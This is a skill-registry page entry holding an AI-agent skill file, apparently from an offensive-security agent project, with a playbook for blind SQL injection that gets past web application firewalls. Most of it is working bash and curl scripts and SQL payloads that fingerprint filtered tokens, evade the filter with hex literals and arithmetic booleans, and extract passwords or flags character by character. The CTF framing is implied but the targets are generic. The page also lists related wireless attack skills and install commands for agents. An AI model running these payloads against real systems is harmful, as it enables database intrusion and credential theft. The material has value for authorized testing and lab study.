[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7985AB2V4SYCMS3SH9J8TWE":3,"skill-same:01M7985AB2V4SYCMS3SH9J8TWE":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7985AB2V4SYCMS3SH9J8TWE","blind-sqli",null,"Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fblind-sqli\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: blind-sqli\ndescription: \"Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"blind sqli, blind sql injection, boolean-based sqli, sqlmap blocked, sqlmap waf, sqlmap tamper failed, sql waf bypass, ascii substring filtered, IF function filtered, AND filtered, single quote stripped, hex encoded payload, group_concat blocked, information_schema unauthorized, query parameter filter, character extraction, binary search payload\"\n---\n\n# Blind SQL Injection — Manual WAF Bypass\n\nCompanion to `sqli.md`. **Load this only after** you have:\n\n1. Confirmed a stable binary oracle (two distinct page states: \"User exists\" vs \"No results\", different content lengths, or different HTTP codes).\n2. Confirmed sqlmap with `--tamper` cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.\n\nIf both conditions hold, the goal is to hand-craft a payload that **substitutes** every filtered SQL token until each oracle probe returns a clean true\u002Ffalse signal, then extract the flag bit-by-bit with the smallest possible request count.\n\n## Confirm the oracle first (≤2 minutes)\n\nThe whole playbook collapses if your \"true\" and \"false\" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:\n\n```bash\nprobe() {\n  local label=\"$1\"; local payload=\"$2\"\n  local resp\n  resp=$(curl -s --max-time 8 -X POST \"http:\u002F\u002F$TARGET\u002Fsearch.php\" \\\n    --data-urlencode \"username=${payload}\")\n  echo \"$resp\" \\\n    | grep -oE \"User exists[^\u003C]*|No results|some item is filtered|Error|Welcome\" \\\n    | head -1\n}\n\nprobe \"true probe\"  \"x\\\"||1=1#\"     # expect: User exists\nprobe \"false probe\" \"x\\\"||1=2#\"     # expect: No results\nprobe \"filter probe\" \"x\\\"||SLEEP(0)#\"  # expect: filtered (token banned)\n```\n\nA single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but `bash`'s `time` resolution and HTTP jitter make a content oracle 5-10× more reliable.\n\n## Step 1 — WAF token fingerprint (batched probe script)\n\nTest 10-15 candidate tokens in **one** script, log each as a labelled line. One script run beats 15 sequential `bash` calls (saves ~70% of the round-trip cost).\n\n```bash\ncat > \u002Ftmp\u002Fprobe.sh \u003C\u003C'EOF'\n#!\u002Fusr\u002Fbin\u002Fenv bash\nset -u\nTARGET=\"${TARGET:?set TARGET=host:port}\"\nENDPOINT=\"${ENDPOINT:-\u002Fsearch.php}\"\nPARAM=\"${PARAM:-username}\"\nINJ=\"${INJ:-x\\\"||{PAYLOAD}#}\"     # outer template; {PAYLOAD} is replaced\n\nprobe() {\n  local label=\"$1\"; local payload=\"$2\"\n  local body=\"${INJ\u002F'{PAYLOAD}'\u002F$payload}\"\n  local resp\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$body\")\n  local sig\n  sig=$(echo \"$resp\" | grep -oE \"User exists[^\u003C]*|No results|filtered|some item[^\u003C]*|Error\" | head -1)\n  printf \"%-40s | %s\\n\" \"$label\" \"${sig:-???}\"\n}\n\n# === SQL token sniff matrix ===\nprobe \"1=1 baseline true\"              \"1=1\"\nprobe \"1=2 baseline false\"             \"1=2\"\nprobe \"WHERE clause\"                   \"EXISTS(SELECT 1 FROM users WHERE 1=1)\"\nprobe \"AND keyword\"                    \"1=1 AND 1=1\"\nprobe \"&& operator\"                    \"1=1 && 1=1\"\nprobe \"OR keyword\"                     \"1=0 OR 1=1\"\nprobe \"|| operator\"                    \"1=0 || 1=1\"\nprobe \"IF function\"                    \"IF(1=1,1,0)\"\nprobe \"CASE WHEN\"                      \"(CASE WHEN 1=1 THEN 1 ELSE 0 END)\"\nprobe \"SUBSTRING(str,1,1)\"             \"SUBSTRING('abc',1,1)='a'\"\nprobe \"MID(str,1,1)\"                   \"MID('abc',1,1)='a'\"\nprobe \"ASCII(c)\"                       \"ASCII('a')=97\"\nprobe \"ORD(c)\"                         \"ORD('a')=97\"\nprobe \"GROUP_CONCAT()\"                 \"GROUP_CONCAT('a','b')='ab'\"\nprobe \"single-quote 'a'\"               \"'a'='a'\"\nprobe \"double-quote \\\"a\\\"\"             \"\\\"a\\\"=\\\"a\\\"\"\nprobe \"hex 0x61\"                       \"0x61='a'\"\nprobe \"arithmetic boolean\"             \"(1=1)*(1=1)=1\"\nEOF\nchmod +x \u002Ftmp\u002Fprobe.sh\nTARGET=host.docker.internal:8080 \u002Ftmp\u002Fprobe.sh | tee \u002Ftmp\u002Fprobe.out\n```\n\nEvery line that returns `???` (no matching signature) or `filtered` is a banned token. Every line that flips the oracle correctly (`User exists` for the true rows, `No results` for the false rows) is a usable primitive.\n\nCommon WAF substitution map (the bench-tested replacements that have worked across multiple targets):\n\n| Filtered token | Substitute that survives |\n|---|---|\n| `SUBSTRING(s,i,n)` | `MID(s,i,n)` |\n| `IF(c,t,f)` | `(CASE WHEN c THEN t ELSE f END)` or arithmetic (see below) |\n| `AND` | `&&` |\n| `OR` | `\\|\\|` |\n| `WHERE` | `JOIN ... ON` subquery, or move predicate into `SUM((c1)*(c2))` |\n| `'literal'` | `0x6c6974657261` (hex) or `CHAR(108,105,116,...)` |\n| `GROUP_CONCAT(IF(c,t,0))` | `SUM((c)*ASCII(...))` per position |\n\n## Step 2 — boolean evaluation without `IF`\u002F`WHERE`\u002F`AND`\n\nWhen the WAF strips `IF`, `AND`, `WHERE` together, the cleanest replacement is **arithmetic multiplication of booleans**. MySQL treats `(comparison)` as an integer in {0,1}, and `*` distributes as logical AND:\n\n```\n# AND  →  product\n(table_schema=0x637466) * (table_name=0x7573657273) * (column_name=0x70617373776f7264)\n\n# OR   →  sum > 0\n((column_name=0x...) + (column_name=0x...)) > 0\n\n# IF(cond, A, B)  →  cond * A + (1 - cond) * B\n(cond) * ASCII_OF_A + (1 - (cond)) * ASCII_OF_B\n```\n\nConcrete payload that enumerates `information_schema.columns` without ever using `WHERE\u002FIF\u002FAND`:\n\n```sql\n\"||(SELECT(SUM((table_schema=0x637466)*(table_name=0x7573657273)*(column_name=0x70617373776f7264)))FROM(information_schema.columns))>0#\n```\n\nIf the page returns \"User exists\" the predicate is true (column exists), \"No results\" → false. One probe per `(schema, table, column)` triple.\n\n## Step 3 — hex every string literal you send\n\nSingle and double quotes are usually filtered. Convert every literal to hex once at the top of your script, then never use bare strings inside the SQL payload:\n\n```bash\nhex() { python3 -c \"import sys; print('0x'+sys.argv[1].encode().hex())\" \"$1\"; }\nSCHEMA_HEX=$(hex \"ctf\")          # 0x637466\nTABLE_HEX=$(hex \"users\")          # 0x7573657273\nCOL_HEX=$(hex \"password\")         # 0x70617373776f7264\n```\n\nReuse these in every payload. Saves you from re-checking which quote variant the WAF blocked this iteration.\n\n## Step 4 — exponential-probe binary search for length\n\nDon't binary-search from 1..N — most targets have passwords\u002Fflags between 16 and 64 chars. Probe exponentially first, then refine:\n\n```bash\n# Exponential bound: find the first power that flips false → true\nLEN_HEX=\"\"\nfor n in 1 2 4 8 16 32 64 128 256 512 1024; do\n  payload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>${n}#\"\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$payload\")\n  if echo \"$resp\" | grep -q \"User exists\"; then\n    LOW=$n\n  else\n    HIGH=$n; break\n  fi\ndone\n# Binary search in [LOW, HIGH]\nwhile [ $((HIGH - LOW)) -gt 1 ]; do\n  MID=$(((LOW + HIGH) \u002F 2))\n  payload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>${MID}#\"\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$payload\")\n  if echo \"$resp\" | grep -q \"User exists\"; then LOW=$MID; else HIGH=$MID; fi\ndone\necho \"length=$HIGH\"\n```\n\nWorst case 11 + ~10 = 21 requests for any password ≤1024 chars. Pure linear scan would be O(N).\n\n## Step 5 — extract characters with one request per bit (or per char)\n\nOnce length is known, the **shortest** extraction is per-character ASCII binary search (≤7 requests per char for printable ASCII). Use `MID()` and `ASCII()`:\n\n```bash\nLEN=18\nRESULT=\"\"\nfor i in $(seq 1 $LEN); do\n  LO=32; HI=126\n  while [ $((HI - LO)) -gt 1 ]; do\n    M=$(((LO + HI) \u002F 2))\n    payload=\"x\\\"||ASCII(MID((${EXTRACT_EXPR}),${i},1))>${M}#\"\n    resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n      --data-urlencode \"$PARAM=$payload\")\n    if echo \"$resp\" | grep -q \"User exists\"; then LO=$M; else HI=$M; fi\n  done\n  RESULT+=$(printf \"\\\\$(printf '%03o' $HI)\")\n  echo \"pos $i: $RESULT\"\ndone\necho \"extracted: $RESULT\"\n```\n\nFor a 30-char value that's ~210 requests serially. If the server tolerates concurrency, parallelize positions (NOT bit-bisection within a position — that requires serial state). 10 concurrent positions cuts wall-clock by ~10×.\n\n## Step 6 — sanity gate before launching extraction\n\nBefore you start a multi-hundred-request loop, **always confirm the EXTRACT_EXPR returns non-empty length on a known-good probe**. Otherwise you spend 5+ minutes extracting from an empty\u002Fwrong target.\n\n```bash\n# Probe length once. If length is 0 or absurdly large (>4096), abort — your subquery is wrong.\npayload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>0#\"\nresp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n  --data-urlencode \"$PARAM=$payload\")\necho \"$resp\" | grep -q \"User exists\" || {\n  echo \"EXTRACT_EXPR returned empty — fix your subquery before extracting\"\n  exit 1\n}\n```\n\n## Anti-patterns — don't do these\n\n- **Don't poll background sessions for `extract.py` without a progress signal**. If the script doesn't emit per-character logs, you cannot tell the difference between \"still working\" and \"stuck on an empty result\". Either log every position, or kill and restart in foreground.\n- **Don't reuse the same `bash` session for both interactive probe scripts and long extraction loops** — interactive prompts collide with background output and you'll burn `bash_kill` calls. Run extraction in a named session (`work`, `extract`, etc.) and keep `main` for ad-hoc probes.\n- **Don't enumerate `information_schema` blindly with `GROUP_CONCAT`** when `WHERE` is filtered — the unfiltered concat dumps every table\u002Fcolumn in the database and you get a 100 KB blob of `0,0,0,...,users` because non-matching rows return 0. Use the arithmetic-multiplication predicate instead and check one cell at a time.\n- **Don't hex-encode the WAF token itself** to bypass — the WAF tokenizes after URL-decode, so `0x53454c454354` (hex SELECT) still matches. Hex helps for **string literals inside the query**, not for SQL keywords.\n","# Blind SQL Injection — Manual WAF Bypass\n\nCompanion to `sqli.md`. **Load this only after** you have:\n\n1. Confirmed a stable binary oracle (two distinct page states: \"User exists\" vs \"No results\", different content lengths, or different HTTP codes).\n2. Confirmed sqlmap with `--tamper` cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.\n\nIf both conditions hold, the goal is to hand-craft a payload that **substitutes** every filtered SQL token until each oracle probe returns a clean true\u002Ffalse signal, then extract the flag bit-by-bit with the smallest possible request count.\n\n## Confirm the oracle first (≤2 minutes)\n\nThe whole playbook collapses if your \"true\" and \"false\" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:\n\n```bash\nprobe() {\n  local label=\"$1\"; local payload=\"$2\"\n  local resp\n  resp=$(curl -s --max-time 8 -X POST \"http:\u002F\u002F$TARGET\u002Fsearch.php\" \\\n    --data-urlencode \"username=${payload}\")\n  echo \"$resp\" \\\n    | grep -oE \"User exists[^\u003C]*|No results|some item is filtered|Error|Welcome\" \\\n    | head -1\n}\n\nprobe \"true probe\"  \"x\\\"||1=1#\"     # expect: User exists\nprobe \"false probe\" \"x\\\"||1=2#\"     # expect: No results\nprobe \"filter probe\" \"x\\\"||SLEEP(0)#\"  # expect: filtered (token banned)\n```\n\nA single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but `bash`'s `time` resolution and HTTP jitter make a content oracle 5-10× more reliable.\n\n## Step 1 — WAF token fingerprint (batched probe script)\n\nTest 10-15 candidate tokens in **one** script, log each as a labelled line. One script run beats 15 sequential `bash` calls (saves ~70% of the round-trip cost).\n\n```bash\ncat > \u002Ftmp\u002Fprobe.sh \u003C\u003C'EOF'\n#!\u002Fusr\u002Fbin\u002Fenv bash\nset -u\nTARGET=\"${TARGET:?set TARGET=host:port}\"\nENDPOINT=\"${ENDPOINT:-\u002Fsearch.php}\"\nPARAM=\"${PARAM:-username}\"\nINJ=\"${INJ:-x\\\"||{PAYLOAD}#}\"     # outer template; {PAYLOAD} is replaced\n\nprobe() {\n  local label=\"$1\"; local payload=\"$2\"\n  local body=\"${INJ\u002F'{PAYLOAD}'\u002F$payload}\"\n  local resp\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$body\")\n  local sig\n  sig=$(echo \"$resp\" | grep -oE \"User exists[^\u003C]*|No results|filtered|some item[^\u003C]*|Error\" | head -1)\n  printf \"%-40s | %s\\n\" \"$label\" \"${sig:-???}\"\n}\n\n# === SQL token sniff matrix ===\nprobe \"1=1 baseline true\"              \"1=1\"\nprobe \"1=2 baseline false\"             \"1=2\"\nprobe \"WHERE clause\"                   \"EXISTS(SELECT 1 FROM users WHERE 1=1)\"\nprobe \"AND keyword\"                    \"1=1 AND 1=1\"\nprobe \"&& operator\"                    \"1=1 && 1=1\"\nprobe \"OR keyword\"                     \"1=0 OR 1=1\"\nprobe \"|| operator\"                    \"1=0 || 1=1\"\nprobe \"IF function\"                    \"IF(1=1,1,0)\"\nprobe \"CASE WHEN\"                      \"(CASE WHEN 1=1 THEN 1 ELSE 0 END)\"\nprobe \"SUBSTRING(str,1,1)\"             \"SUBSTRING('abc',1,1)='a'\"\nprobe \"MID(str,1,1)\"                   \"MID('abc',1,1)='a'\"\nprobe \"ASCII(c)\"                       \"ASCII('a')=97\"\nprobe \"ORD(c)\"                         \"ORD('a')=97\"\nprobe \"GROUP_CONCAT()\"                 \"GROUP_CONCAT('a','b')='ab'\"\nprobe \"single-quote 'a'\"               \"'a'='a'\"\nprobe \"double-quote \\\"a\\\"\"             \"\\\"a\\\"=\\\"a\\\"\"\nprobe \"hex 0x61\"                       \"0x61='a'\"\nprobe \"arithmetic boolean\"             \"(1=1)*(1=1)=1\"\nEOF\nchmod +x \u002Ftmp\u002Fprobe.sh\nTARGET=host.docker.internal:8080 \u002Ftmp\u002Fprobe.sh | tee \u002Ftmp\u002Fprobe.out\n```\n\nEvery line that returns `???` (no matching signature) or `filtered` is a banned token. Every line that flips the oracle correctly (`User exists` for the true rows, `No results` for the false rows) is a usable primitive.\n\nCommon WAF substitution map (the bench-tested replacements that have worked across multiple targets):\n\n| Filtered token | Substitute that survives |\n|---|---|\n| `SUBSTRING(s,i,n)` | `MID(s,i,n)` |\n| `IF(c,t,f)` | `(CASE WHEN c THEN t ELSE f END)` or arithmetic (see below) |\n| `AND` | `&&` |\n| `OR` | `\\|\\|` |\n| `WHERE` | `JOIN ... ON` subquery, or move predicate into `SUM((c1)*(c2))` |\n| `'literal'` | `0x6c6974657261` (hex) or `CHAR(108,105,116,...)` |\n| `GROUP_CONCAT(IF(c,t,0))` | `SUM((c)*ASCII(...))` per position |\n\n## Step 2 — boolean evaluation without `IF`\u002F`WHERE`\u002F`AND`\n\nWhen the WAF strips `IF`, `AND`, `WHERE` together, the cleanest replacement is **arithmetic multiplication of booleans**. MySQL treats `(comparison)` as an integer in {0,1}, and `*` distributes as logical AND:\n\n```\n# AND  →  product\n(table_schema=0x637466) * (table_name=0x7573657273) * (column_name=0x70617373776f7264)\n\n# OR   →  sum > 0\n((column_name=0x...) + (column_name=0x...)) > 0\n\n# IF(cond, A, B)  →  cond * A + (1 - cond) * B\n(cond) * ASCII_OF_A + (1 - (cond)) * ASCII_OF_B\n```\n\nConcrete payload that enumerates `information_schema.columns` without ever using `WHERE\u002FIF\u002FAND`:\n\n```sql\n\"||(SELECT(SUM((table_schema=0x637466)*(table_name=0x7573657273)*(column_name=0x70617373776f7264)))FROM(information_schema.columns))>0#\n```\n\nIf the page returns \"User exists\" the predicate is true (column exists), \"No results\" → false. One probe per `(schema, table, column)` triple.\n\n## Step 3 — hex every string literal you send\n\nSingle and double quotes are usually filtered. Convert every literal to hex once at the top of your script, then never use bare strings inside the SQL payload:\n\n```bash\nhex() { python3 -c \"import sys; print('0x'+sys.argv[1].encode().hex())\" \"$1\"; }\nSCHEMA_HEX=$(hex \"ctf\")          # 0x637466\nTABLE_HEX=$(hex \"users\")          # 0x7573657273\nCOL_HEX=$(hex \"password\")         # 0x70617373776f7264\n```\n\nReuse these in every payload. Saves you from re-checking which quote variant the WAF blocked this iteration.\n\n## Step 4 — exponential-probe binary search for length\n\nDon't binary-search from 1..N — most targets have passwords\u002Fflags between 16 and 64 chars. Probe exponentially first, then refine:\n\n```bash\n# Exponential bound: find the first power that flips false → true\nLEN_HEX=\"\"\nfor n in 1 2 4 8 16 32 64 128 256 512 1024; do\n  payload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>${n}#\"\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$payload\")\n  if echo \"$resp\" | grep -q \"User exists\"; then\n    LOW=$n\n  else\n    HIGH=$n; break\n  fi\ndone\n# Binary search in [LOW, HIGH]\nwhile [ $((HIGH - LOW)) -gt 1 ]; do\n  MID=$(((LOW + HIGH) \u002F 2))\n  payload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>${MID}#\"\n  resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n    --data-urlencode \"$PARAM=$payload\")\n  if echo \"$resp\" | grep -q \"User exists\"; then LOW=$MID; else HIGH=$MID; fi\ndone\necho \"length=$HIGH\"\n```\n\nWorst case 11 + ~10 = 21 requests for any password ≤1024 chars. Pure linear scan would be O(N).\n\n## Step 5 — extract characters with one request per bit (or per char)\n\nOnce length is known, the **shortest** extraction is per-character ASCII binary search (≤7 requests per char for printable ASCII). Use `MID()` and `ASCII()`:\n\n```bash\nLEN=18\nRESULT=\"\"\nfor i in $(seq 1 $LEN); do\n  LO=32; HI=126\n  while [ $((HI - LO)) -gt 1 ]; do\n    M=$(((LO + HI) \u002F 2))\n    payload=\"x\\\"||ASCII(MID((${EXTRACT_EXPR}),${i},1))>${M}#\"\n    resp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n      --data-urlencode \"$PARAM=$payload\")\n    if echo \"$resp\" | grep -q \"User exists\"; then LO=$M; else HI=$M; fi\n  done\n  RESULT+=$(printf \"\\\\$(printf '%03o' $HI)\")\n  echo \"pos $i: $RESULT\"\ndone\necho \"extracted: $RESULT\"\n```\n\nFor a 30-char value that's ~210 requests serially. If the server tolerates concurrency, parallelize positions (NOT bit-bisection within a position — that requires serial state). 10 concurrent positions cuts wall-clock by ~10×.\n\n## Step 6 — sanity gate before launching extraction\n\nBefore you start a multi-hundred-request loop, **always confirm the EXTRACT_EXPR returns non-empty length on a known-good probe**. Otherwise you spend 5+ minutes extracting from an empty\u002Fwrong target.\n\n```bash\n# Probe length once. If length is 0 or absurdly large (>4096), abort — your subquery is wrong.\npayload=\"x\\\"||LENGTH(${EXTRACT_EXPR})>0#\"\nresp=$(curl -s --max-time 6 -X POST \"http:\u002F\u002F$TARGET$ENDPOINT\" \\\n  --data-urlencode \"$PARAM=$payload\")\necho \"$resp\" | grep -q \"User exists\" || {\n  echo \"EXTRACT_EXPR returned empty — fix your subquery before extracting\"\n  exit 1\n}\n```\n\n## Anti-patterns — don't do these\n\n- **Don't poll background sessions for `extract.py` without a progress signal**. If the script doesn't emit per-character logs, you cannot tell the difference between \"still working\" and \"stuck on an empty result\". Either log every position, or kill and restart in foreground.\n- **Don't reuse the same `bash` session for both interactive probe scripts and long extraction loops** — interactive prompts collide with background output and you'll burn `bash_kill` calls. Run extraction in a named session (`work`, `extract`, etc.) and keep `main` for ad-hoc probes.\n- **Don't enumerate `information_schema` blindly with `GROUP_CONCAT`** when `WHERE` is filtered — the unfiltered concat dumps every table\u002Fcolumn in the database and you get a 100 KB blob of `0,0,0,...,users` because non-matching rows return 0. Use the arithmetic-multiplication predicate instead and check one cell at a time.\n- **Don't hex-encode the WAF token itself** to bypass — the WAF tokenizes after URL-decode, so `0x53454c454354` (hex SELECT) still matches. Hex helps for **string literals inside the query**, not for SQL keywords.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","blind sqli, blind sql injection, boolean-based sqli, sqlmap blocked, sqlmap waf, sqlmap tamper failed, sql waf bypass, ascii substring filtered, IF function filtered, AND filtered, single quote stripped, hex encoded payload, group_concat blocked, information_schema unauthorized, query parameter filter, character extraction, binary search payload","T1190","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fblind-sqli",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill blind-sqli",{"tool":41,"command":42},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill blind-sqli",{"tool":44,"command":45},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill blind-sqli","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fblind-sqli\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]